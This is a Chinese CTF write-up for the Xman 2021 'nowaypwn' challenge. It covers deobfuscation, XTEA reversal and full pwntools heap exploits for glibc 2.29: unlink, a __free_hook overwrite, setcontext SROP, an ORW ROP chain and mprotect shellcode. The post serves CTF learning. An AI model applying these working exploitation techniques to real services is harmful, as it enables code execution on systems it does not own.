2021 Xman 排位赛 pwn nowaypwn_yongibaoi-程序员宅基地

技术标签: CTF  

学了不少东西。

在这里插入图片描述

在这里插入图片描述刚开始IDA反编译程序只有这么一点,一共三个函数。
看了看之后很快发现了不对。

在这里插入图片描述旁边显然有一堆函数没有用到。

main函数下面显然也有一堆飘红。
在这里插入图片描述所以肯定作者做了混淆,那怎么改回来?

我们找到一处飘红。用这个来举例。
在这里插入图片描述显然因为retn,后面的程序没法用了。

那我们尝试把retn给nop掉。
在这里插入图片描述然后找到这个函数

在这里插入图片描述
其实这是里面那个加密函数
可以先看看加密函数现在的样子。
在这里插入图片描述然后我们继续跑到这个函数这里,按U转换为未定义。
在这里插入图片描述
再按C转换为代码。

在这里插入图片描述
最后在这里分析函数。按P
最后你跑到这个函数,会发现变成了这个样子
在这里插入图片描述这才是函数本来的样子。

其他地方也是相同的做法,在main函数后面还有一个这样的混淆。
一会在首位函数也有一个这样的东西。

所以我们看看我们nop好之后的程序原原本本什么样子。

main
在这里插入图片描述
主程序下面多了一个菜单堆。

在这里插入图片描述
c54函数是开了沙箱。
下面要求我们输入正确的秘密才能跳出循环。

我们去看判断条件。
在这里插入图片描述输入的进行加密,要求前八个字节长这样。

加密算法就是我们刚刚实例,反混淆回来的。
在这里插入图片描述最后研究半天,官方说是tea加密,但是我感觉是xtea。

分开来看。
tea加密。
以为很难,但是说来很简单。
内容8字节一组,密钥16字节一组。

加密算法

#include<stdio.h>
void encode(unsigned int* v,unsigned int *k)
{
    
    unsigned int l=v[0],r=v[1];
    unsigned int k0=k[0],k1=k[1],k2=k[2],k3=k[3];
    unsigned int delta=0x9e3779b9;
    int i;
    unsigned int sum=0;
    for(i=0;i<32;i++)          //核心加密算法,建议32轮,最低16轮
    {
    
        sum+=delta;
        l+=((r<<4)+k0)^(r+sum)^((r>>5)+k1);     //r<<4/r*16
        r+=((l<<4)+k2)^(l+sum)^((l>>5)+k3);
    }
    v[0]=l;
    v[1]=r;
}
int main()
{
    
    unsigned int a[2]={
    1,2}; //明文,必须是8字节的倍数,不够需要程序补全,参考base64方法
    unsigned int k[4]={
    2,2,3,4};//密钥随便
    encode(a,k);
    printf("%d %d",a[0],a[1]);
}

就是根据一个delta值,每四个一组,然后循环起来。

解密算法就是直接倒过来就可以了。

  uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  //由加密轮数而算出
    uint32_t delta=0x9e3779b9;                     
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; 
    for (i=0; i<32; i++) {
                                        //核心解密算法
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                           
    v[0]=v0; v[1]=v1;

xtea是tea的升级版,增加了更多的密钥表,移位和异或操作等等

#include <stdio.h>
#include <stdint.h>
 
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
 
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
    for (i=0; i < num_rounds; i++) {
    
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
    }
    v[0]=v0; v[1]=v1;
}
 
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
    for (i=0; i < num_rounds; i++) {
    
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}
 
int main()
{
    
    uint32_t v[2]={
    1,2};
    uint32_t const k[4]={
    2,2,3,4};
    unsigned int r=32;//num_rounds建议取值为32
    // v为要加密的数据是两个32位无符号整数
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
    printf("加密前原始数据:%u %u\n",v[0],v[1]);
    encipher(r, v, k);
    printf("加密后的数据:%u %u\n",v[0],v[1]);
    decipher(r, v, k);
    printf("解密后的数据:%u %u\n",v[0],v[1]);
    return 0;
}

当然还有xxtea,就不谈了。

所以我们很明显发现,程序长的明明跟xtea最像。

当然我们看程序是减去一个delta,转换过来发现还是标准的xtea的delta值
在这里插入图片描述
所以程序就是一个32轮的标准xtea,换一下delta值,再来16轮。

怎么倒回来解密呢?就把程序加变减,顺序缓缓就好了。

#include <iostream>

/* run this program using the console pauser or add your own getch, system("pause") or input loop */

int main(int argc, char** argv) {
    
  unsigned int a1[2];  
  int i; // [rsp+14h] [rbp-3Ch]
  int j; // [rsp+14h] [rbp-3Ch]
  unsigned int v4; // [rsp+18h] [rbp-38h]
  unsigned int v5; // [rsp+18h] [rbp-38h]
  unsigned int v6; // [rsp+1Ch] [rbp-34h]
  unsigned int v7; // [rsp+1Ch] [rbp-34h]
  unsigned int v8; // [rsp+20h] [rbp-30h]
  unsigned int v9; // [rsp+20h] [rbp-30h]
  unsigned int v10; // [rsp+24h] [rbp-2Ch]
  unsigned int v11; // [rsp+28h] [rbp-28h]
  int v12[6]; // [rsp+30h] [rbp-20h]
  unsigned __int64 v13; // [rsp+48h] [rbp-8h]
  a1[0]=0x105d191e;
  //a1[0]=2587752597;
  a1[1]=0x98e870c8;
  //a1[1]=2997038967;
  v10 = *a1;
  v11 = a1[1];
  v12[0] = 674697780;
  v12[1] = 422065475;
  v12[2] = 423118625;
  v12[3] = -1741216238;
  v4 = *a1;
  v6 = a1[1];
  v8 = 3337565984;
  for ( i = 0; i <= 31; ++i )
  {
    
   v6 -= (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v12[(v8 >> 11) & 3] + v8);
    v8 += 1640531527;
    v4 -= (((v6 >> 5) ^ (16 * v6)) + v6) ^ (v12[v8 & 3] + v8);
  }
  *a1 = v4;
  a1[1] = v6;
  v5 = v10;
  v7 = v11;
  v9 = 1559835033;
  for ( j = 0; j <= 16; ++j )
  {
    
   v7 -= (((v5 >> 5) ^ (16 * v5)) + v5) ^ (v12[(v9 >> 11) & 3] + v9);
    v9 -= 344400137;
    v5 -= (((v7 >> 5) ^ (16 * v7)) + v7) ^ (v12[v9 & 3] + v9);
  }
  *a1 = v5;
  a1[1] = v7;
  printf("%x %x",a1[0],a1[1]);
}

在这里插入图片描述
因为是小端序,所以我们四个字节一组,一个字节一个字节倒过来,发现了secret是useless!

在这里插入图片描述
敲了回车没反应,就对了,因为下面菜单部分没有输出的。

至此就完成了题目的前面一小部分。
下面去看堆题。

首先说开了沙箱,看看白名单。
在这里插入图片描述
就ban了execve。

功能4是add
在这里插入图片描述最多17个chunk,大小不能超过0x200,地址都在bss上。

功能3是delete
在这里插入图片描述放置了double free 跟uaf。

功能1是edit
在这里插入图片描述有个莫名其妙的E2D函数。
在这里插入图片描述他就是一直循环,直到碰到0跟0x11,碰到0x11就把他变成0.

所以会造成一个off by null的漏洞。

功能2是show
在这里插入图片描述show函数只输出八个字节,而且是分开的,我们看一下那个函数。

在这里插入图片描述是个方程,还循环了两次。
解方程我们还得用到z3.

然后我就发现,这个题目剩下的堆的部分跟强网杯的那道babypwn一摸一样,漏洞也好,这个方程也好,长得一摸一样……
2021强网杯 pwn babypwn

可以去看看,z3的用法也在里面。
exp稍微改改就好了。

但是呢,这道题当时是没给libc的,估计他用的是2.27,但是本着学习的态度,想着用libc2.29来做一下。
为啥要用2.29呢,首先我们总结一下那道强网杯2.27的两种做法。

第一种是unlink,申请三个chunk,第一个chunk伪造,第二个chunk来free。
在堆里面做unlink,来造成tcache posining。
第二种就是我们的house of ein。通过overlap,来泄露libc,再攻击free_hook啥的。

2.29之后,首先unlink多了一条检查。
在这里插入图片描述这导致我们的house of ein直接消失,所以我们只能用unlink去做。

第二个问题是啥
2.29之后,setcontext从rdi寻址改成了rdx寻址,这导致我们对setcontext的利用需要做出一定的改变。

当然2.29之后还会有细微的改变,说白了就是从setcontext + 53变成了setcontext + 61.

我们现在来看一下在2.29的环境下怎么去利用setcontext。

首先看一下setcontext在2.29下面长这样
是rdx寻址,我们在2.27中,因为是rdi寻址,所以直接payload写在要free的chunk,然后free过去先执行free_hook的setcontext,因为rdi指向chunk,直接就可以控制,但是2.29的rdx就不好使了。

所以我们解决的方法是找一个合适的gadget来解决这个问题。
我们在free_hook的地方放上这个gadget

mov rdx, qword ptr [rdi + 8]; 
mov qword ptr [rsp], rax; 
call qword ptr [rdx + 0x20];

然后在要free的 [chunkptr+8]+0x20 的位置填上 setcontext+53。

这个gadget通过

ropper --file libc.so.6 --search “mov rdx”

来找
在这里插入图片描述插一句这个ropper的安装装我老半天,网上的教程个个不靠谱。然后我就简单的现身说法。
Ubuntu ropper的安装与使用

那我们回来说用这个gadget达到了一个什么效果。
我们free一个chunk,在这个chunk+8的地方事先写个地址,这个地址+0x20的地方放着setcontext + 53的地址,然后先走free_hook,rdx变成chunk+8的地址,然后call rdx+0x20,也就是我们的setcontext,最后根据rdx,做一个SROP。当然需要始先把SROP的东西写好。

要额外插一句,这个setcontext是干嘛的,我们还记得SROP,在sigreturn返回的时候,我们调用了系统调用,就会跑一段程序,那一段程序就是这个setcontext,所以我们的这个方法又叫堆srop。

那么所以我们写exp的时候其实可以用pwntools的srop模板。
强网杯那道没用,当时还没反应过来可以用……

在我们利用堆SROP的过程中,其实也可以有很多姿势。
我们可以用传统的orw。
但是可以看到这个题目其实在沙箱上面只ban了execve,而不是只允许用orw,所以还可以给出一种布置shellcode的写法。

首先是传统的orw。
通过堆SROP,读入rop,然后跳过去执行。
exp

# -*- coding: utf-8 -*-
from pwn import *
from z3 import*

context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"

p = process("./nowaypwn")

elf = ELF("./nowaypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc.so.6")

def add(size):
    p.sendline('4')
    sleep(0.1)
    p.sendline(str(size))
    sleep(0.1)
    
def edit(idx,content):
    p.sendline('1')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)
    p.send(content)
    sleep(0.1)

def dele(idx):
    p.sendline('3')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)	

def show(idx):
    p.sendline('2')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)

def decrypt(target):
    a = BitVec('a', 32)
    x = a
    for _ in range(2):
            x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
    s = Solver()
    s.add(x == target)
    if s.check() == sat:
        return (s.model()[a].as_long())

p.sendlineafter("Give me your name:\n", "Yongibaoi")
p.sendlineafter("Give me your key:", "Yongibaoi")
p.sendlineafter("Input your secret!:", "useless!")
sleep(0.1)


add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)

p.recv() #非常纳闷,调了一天 发现这里必须有个recv。桌子都快砸碎了。

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap_addr = (a2 << 32) + a1 -0xda0
print "heap_addr = " + hex(heap_addr)

add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6
add(0x108)#7
add(0x108)#8
add(0x20) #9

for i in range(7):
    dele(i)

heap = heap_addr + 0xd70
edit(7,'a'*0x108)
edit(7, (p64(heap+0x628)+p64(heap+0x630)+p64(heap+0x620)).ljust(0x100,'\x00')+p64(0x110))
edit(8,'\x00'*0xf0+p64(0)+p64(0x41)+'\n')

dele(8)
show(7)

#p.recv() 这里又不用加…… 人麻了

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)


for i in range(8):
    add(0xf0)

dele(1)
dele(7)
dele(2)

magic_gadget = libc_base + 0x150550
bss_addr = libc_base + libc.bss()
flag_addr = bss_addr + 0x200

frame = SigreturnFrame()
frame.rsp = bss_addr + 0x8
frame.rdi = 0
frame.rsi = bss_addr
frame.rdx = 0x1000
frame.rip = libc_base + libc.sym['read']

str_frame = str(frame)
print str_frame
print len(str_frame)

pop_rdi = libc_base + 0x26542
pop_rdx_rsi = libc_base + 0x12bdc9
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
open_addr = libc_base + libc.sym['open']
pop_rax = libc_base + 0x47cf8
syscall_addr = libc_base + libc.sym['syscall'] + 23
#这里如果直接用syscall会被前面那一堆乱七八糟把参数改掉,所以要直接用syscall

poc = './flag\x00\x00'

poc += p64(pop_rdi)
poc += p64(bss_addr)
poc += p64(pop_rdx_rsi)
poc += p64(0)
poc += p64(0)
poc += p64(pop_rax)
poc += p64(constants.SYS_open)
poc += p64(syscall_addr)

poc += p64(pop_rdi)
poc += p64(0x3)
poc += p64(pop_rdx_rsi)
poc += p64(0x100)
poc += p64(flag_addr)
poc += p64(read_addr)

poc += p64(pop_rdi)
poc += p64(1)
poc += p64(pop_rdx_rsi)
poc += p64(100)
poc += p64(flag_addr)
poc += p64(write_addr)


edit(8,p64(free_hook)+'\n')
add(0xf0) #1
edit(1, p64(setcontext + 53)  + p64(heap_addr + 0x1080) + str_frame[0x30:] + '\n')
add(0xf0) #2
add(0xf0)#7 free hook
edit(7,p64(magic_gadget)+'\n')

dele(1)

p.sendline(poc)

p.interactive()

下面的是shellcode。
他是通过srop,将free_hook所在的那一页,权限改成rwx。
然后通过shellcode1读入一段更长的shellcode2,然后跳过去执行。
exp

# -*- coding: utf-8 -*-
from pwn import *
from z3 import*

context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"

p = process("./nowaypwn")

elf = ELF("./nowaypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc.so.6")

def add(size):
    p.sendline('4')
    sleep(0.1)
    p.sendline(str(size))
    sleep(0.1)
    
def edit(idx,content):
    p.sendline('1')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)
    p.send(content)
    sleep(0.1)

def dele(idx):
    p.sendline('3')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)	

def show(idx):
    p.sendline('2')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)

def decrypt(target):
    a = BitVec('a', 32)
    x = a
    for _ in range(2):
            x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
    s = Solver()
    s.add(x == target)
    if s.check() == sat:
        return (s.model()[a].as_long())

p.sendlineafter("Give me your name:\n", "Yongibaoi")
p.sendlineafter("Give me your key:", "Yongibaoi")
p.sendlineafter("Input your secret!:", "useless!")
sleep(0.1)


add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)

p.recv() #非常纳闷,调了一天 发现这里必须有个recv。桌子都快砸碎了。

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap_addr = (a2 << 32) + a1 -0xda0
print "heap_addr = " + hex(heap_addr)

add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6
add(0x108)#7
add(0x108)#8
add(0x20) #9

for i in range(7):
    dele(i)

heap = heap_addr + 0xd70
edit(7,'a'*0x108)
edit(7, (p64(heap+0x628)+p64(heap+0x630)+p64(heap+0x620)).ljust(0x100,'\x00')+p64(0x110))
edit(8,'\x00'*0xf0+p64(0)+p64(0x41)+'\n')

dele(8)
show(7)

#p.recv() 这里又不用加…… 人麻了

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)


for i in range(8):
    add(0xf0)

dele(1)
dele(7)
dele(2)

#-------------------堆SROP--------------------
magic_gadget = libc_base + 0x150550

new_addr =  free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
    xor rdi,rdi
    mov rsi,%d
    mov edx,0x1000

    mov eax,0
    syscall

    jmp rsi
    ''' % new_addr

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base + libc.sym['mprotect']

shellcode2 = '''
    mov rax, 0x67616c662f2e ;// ./flag
    push rax

    mov rdi, rsp ;// /flag
    mov rsi, 0 ;// O_RDONLY
    xor rdx, rdx ;
    mov rax, 2 ;// SYS_open
    syscall

    mov rdi, rax ;// fd 
    mov rsi,rsp  ;
    mov rdx, 1024 ;// nbytes
    mov rax,0 ;// SYS_read
    syscall

    mov rdi, 1 ;// fd 
    mov rsi, rsp ;// buf
    mov rdx, rax ;// count 
    mov rax, 1 ;// SYS_write
    syscall

    mov rdi, 0 ;// error_code
    mov rax, 60
    syscall
    '''

str_frame = str(frame)
print str_frame
print len(str_frame)
#---------------------------准备完毕---------------------------------

edit(8,p64(free_hook)+'\n')
add(0xf0) #1
edit(1, p64(setcontext + 53)  + p64(heap_addr + 0x1080) + str_frame[0x30:] + '\n')
add(0xf0) #2
add(0xf0)#7 free hook
edit(7,p64(magic_gadget)+p64(free_hook+0x18)*2+asm(shellcode1)+'\n')


dele(1)

p.sendline(asm(shellcode2))

p.interactive()
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/yongbaoii/article/details/119607954

智能推荐

MATLAB代码:基于二阶锥规划的主动配电网动态重构研究-程序员宅基地

文章浏览阅读42次。MATLAB代码:基于二阶锥规划的主动配电网动态重构研究参考文档:《考虑动态网络重构的主动配电网优化运行策略》参考了重构部分公式《主动配电网最优潮流研究及其应用实例》参考了二阶锥松弛部分公式仿真平台:MATLAB YALMIP+CPLEX优势:代码注释详实,适合参考学习,全程有讲解!,全程有讲解!程序非常精品!主要内容:代码主要主要研究的配电网优化,具体为配电网中的动态重构问题,代码分为两个部分,第一部分1)主动配电网单时段重构问题,重构结果以0-1变量表示,结果清晰明了;2)主动配电网多时段动态

无涯教程-PHP - xml_parse_into_struct函数-程序员宅基地

文章浏览阅读378次,点赞4次,收藏6次。无涯教程网提供xml_parse_into_struct - 语法 int xml_parse_into_struct ( resource $parser , stri...PHP 中的 xml_parse_into_struct函数 - 无涯教程网。它用于将任何格式化的XML解析为数组结构。它用于指定要使用的XML解析器。它用于指定XML数据的目标数组。它用于指定要解析的XML数据。它用于指定索引数据的目标数组。成功时返回1,失败时返回0。

找不到wifi,提示适配器的驱动程序可能出现问题_xioami 802.11n usb wireless adapter 驱动错误-程序员宅基地

文章浏览阅读3.6k次,点赞6次,收藏12次。找不到wifi,提示适配器的驱动程序可能出现问题_xioami 802.11n usb wireless adapter 驱动错误

【人工智能简史】第三章 第一个AI研究的黄金时代-程序员宅基地

文章浏览阅读1.4w次。在 1950、1960 年代,早期 AI 研究者们开发了一系列实验项目,如西蒙和纽埃尔的逻辑理论机(Logic Theorist)、麦卡锡的 Lisp 语言和明斯基的微世界(Micro World)等。总的来说,从 20 世纪 40 年代末到 50 年代的 AI 理论形成和发展过程,为后续的 AI 研究和应用奠定了坚实的基础。在本章中,我们将分析第一个 AI 研究的黄金时代,探讨其重要突破和成就,以及此阶段对 AI 发展历程产生的长远影响。这些算法穿插在人工智能的各个领域,推动着技术的创新与突破。

centos7.3(1611版本)安装增强工具(VirtualBox)-程序员宅基地

文章浏览阅读298次。一、场景说明: 虚拟软件使用VirtualBox,虚机操作系统使用CentOs7.3, 最小化安装后在虚机里面安装增强工具。 二、安装方法: 首先要先安装图形界面不然..._vboxwindowsadditions-amd64.exe下载

jdk32位连不上oracle64位,64位 jdk 读取32位dll-程序员宅基地

文章浏览阅读227次。执行上面的测试代码,发现使用 32 位的 JDK 通过配置的 testodbc 数据源 (32 位的驱动程序)能够正常的连接到 64 位的数据库,如下图所示。 这个场景并不完全真实,只是我个人的一个联想和猜测,中间极有可能出 现不正确或不完整的......在 face.h 的头文件中包含了 jni.h 头 文件,所以需要将 jdk 安装目录下 include 文件夹下的 jni.h 头文件和 in..._32位jdk连不上数据库

随便推点

NS版暗黑破坏神3金手指开发教程(16)-程序员宅基地

文章浏览阅读3.2k次。上一节,我们学会了全幻化的制作,功力精进了一步,这一节,将会讲解全图纸的制作,也基本上是金手指教程的最后一节了,通过这一节,读者将会看到如何将逆向程序分析方法使用得淋漓尽致,面对任何困难也能无坚不摧1. 我们搜索图纸英文recipe,在sAllRecipes函数中发现了图纸类型一共有4种,分别是,铁匠,附魔工匠,珠宝匠,卡奈魔盒,也就是0,1,2,3,这个很重要,一会儿会用到2. 在U...

Revit导出IFC文件-程序员宅基地

文章浏览阅读1.9w次,点赞2次,收藏9次。Revit 导出IFC文件对于了解过BIM的人员来说,IFC文件应该并不陌生!那么我们常用的revit软件在绘制完建筑信息模型之后,如何有效的导出相应的完整的IFC文件呢?是不是有人遇到过这种情况,直接用revit软件中导出功能,所得到的IFC文件再被打开时发现,看不到模型。对于这种情况,如何解决呢?本文便讲解如何解决这个问题!第一:找到exportlayers-ifc-..._revit导出ifc

一些Docker常用命令,下载镜像和创建容器,Centos开启自启docker和对应mariadb(容器)_docker中怎么开机启动mariadb-程序员宅基地

文章浏览阅读2.7k次,点赞2次,收藏3次。觉得有帮助的同学可以点个赞!传递给更多人!docker进入容器docker exec -it 容器id bashcentos开机自启docker# 设置开机启动systemctl enable docker.service# 关闭开机启动systemctl disable docker.servicedocker容器设置自动启动# 启动时加--restart=alwaysdocker run -d --restart=always -p 3307:3306 -e MYSQL_ROO_docker中怎么开机启动mariadb

python爬取股票数据并存到数据库_id,ts_code,trade_date,close,open,high,low,pre_clos-程序员宅基地

文章浏览阅读3k次,点赞11次,收藏38次。Python 用Tushare接口获取股票数据并存储到Sqlite数据库使用技术介绍:关于接口 由于tushare旧版本即将不能用了,所以我们这里使用的是tushare pro 接口。关于数据库 使用了Sqlite轻量级数据库适合本地使用。具体实现Tushare Pro 爬取数据Pro接口需要前往官网(https://tushare.pro/)注册,并获取token,过程较为繁琐,而本文篇幅有限故将在之后更新获取token文章。将获取到的token值放进config文件中的tushare_id,ts_code,trade_date,close,open,high,low,pre_close,change,pct_chg,vol,amoun

IllegalStateException异常处理_illegalstateexception:falied to convert map to bea-程序员宅基地

文章浏览阅读1.6k次。java.lang.IllegalStateException: Failed to load ApplicationContext at org.springframework.test.context.CacheAwareContextLoaderDelegate.loadContext(CacheAwareContextLoaderDelegate.java:99) at or_illegalstateexception:falied to convert map to bean

计算机运行慢 卡是什么原因是什么原因,电脑很卡是什么原因?电脑卡的原因有哪些...-程序员宅基地

文章浏览阅读8k次。不管是手机还是电脑,刚买的时候运行都是挺快的,时间用久了,就开始出来卡顿和反应慢的现象。那么电脑很卡是什么原因?是什么原因造成电脑卡顿的呢?恐怕很多用户都不是很了解,下面,小编就来跟大家分享电脑卡的原因有哪些。电脑是与我们生活越来越相关的一个物品,使用电脑也成了我们聊天,学习,娱乐甚至工作的新方式,这时候,一个流畅的电脑使用就很重要了,电脑卡顿的原因有许多,为了用户更好的了解,下面,小编就来跟大家..._电脑很卡是什么原因

推荐文章

热门文章

相关标签